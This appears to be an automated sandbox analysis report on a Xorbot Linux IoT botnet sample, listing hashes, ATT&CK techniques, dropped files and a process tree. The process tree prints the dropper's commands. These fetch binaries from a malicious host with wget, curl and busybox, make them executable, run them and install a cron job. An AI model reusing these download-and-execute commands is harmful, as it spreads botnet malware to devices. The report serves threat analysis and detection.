xorbot | d2740e7d91004ad14804a2ea623ddad5252b5b7e8113fa1d66fbd8d2cc591a70

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
13/02/2025, 04:32

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General

Target
bins.sh
Size 10KB
Sample250213-e514pstmgx
SHA256 d2740e7d91004ad14804a2ea623ddad5252b5b7e8113fa1d66fbd8d2cc591a70
MD5 6cbcf957e7aa0fc282cb8cfd5e3cbfdb
SHA1 7bcf7535cf91531df6bd4499569912a0b4bf0fc0
SHA512 566a39a48538169df5e0ec0aaf0724f70f07e0916c1b975a4daf987574a54af9b6e55dbe446b6a1d3bc1d9cb74b2bfeea40177f21ff13673eba9008b9b1be553
SSDEEP 192:WyNuHhJm2XE4o2uyxwIhzuyxwIJm2XE44:WyNuHhy2uyxwIhzuyxwIS
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
805	chmod
813	chmod
828	chmod
797	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	798	bins.sh
/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	806	bins.sh
/tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv	814	bins.sh

Renames itself 1 IoCs

pid	Process
815	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1se8uk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/902/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/77/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/166/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/366/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/823/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/849/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/923/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/664/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/827/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/855/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/857/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/859/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/830/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/831/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/848/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/880/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/913/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/846/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/873/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/930/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/340/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/663/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/824/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/835/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/839/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/9/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/17/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/844/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/910/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/10/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/684/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/870/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/894/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/920/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/838/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/865/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/871/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/928/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/895/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/897/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/6/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/74/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/150/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/850/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/872/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/116/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/821/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/884/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/926/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/3/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/391/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/832/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/900/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/917/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/909/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/15/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/19/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/21/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/83/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/687/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/877/cmdline	W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
802	curl
804	busybox
809	wget
812	busybox
825	curl
831	wget
697	wget
791	curl
796	busybox
801	wget
810	curl
824	wget
827	busybox

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	wget
File opened for modification	/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	curl
File opened for modification	/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	busybox
File opened for modification	/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	wget
File opened for modification	/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	curl
File opened for modification	/tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv	wget
File opened for modification	/tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:687
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:691
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:697
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:791
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  ./xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  PID:798
- /bin/rm
  rm xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  PID:800
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/chmod
  chmod 777 kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  ./kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  PID:806
- /bin/rm
  rm kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  PID:808
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - System Network Configuration Discovery
  PID:812
- /bin/chmod
  chmod 777 W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  ./W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:814
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:816
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:817
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:818
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:819
- /bin/rm
  rm W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  PID:821
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - System Network Configuration Discovery
  PID:824
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:825
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - System Network Configuration Discovery
  PID:827
- /bin/chmod
  chmod 777 22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  ./22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  PID:829
- /bin/rm
  rm 22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC
  2⤵
  - System Network Configuration Discovery
  PID:831

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv

Path /tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ

Path /tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ

Path /tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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tmp.1se8uk

Path /var/spool/cron/crontabs/tmp.1se8uk
Size 210B
SHA256 d6c58852216450073bd4973a371c1ed9f2ad2d710263bfcae678955fa1315ee7
MD5 78b740fe4fcf2393d751642bfaddebad
SHA1 38cd36752114aefae6d3844be99e236b1babd7c3
SHA512 ebb98c9b069bc7d144443756e0664956693960f0f0a4db6fefe12243e6a2677e01695a2783064d96772eb7cd1a014640365e150d51b95561fbd167c254e99663
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads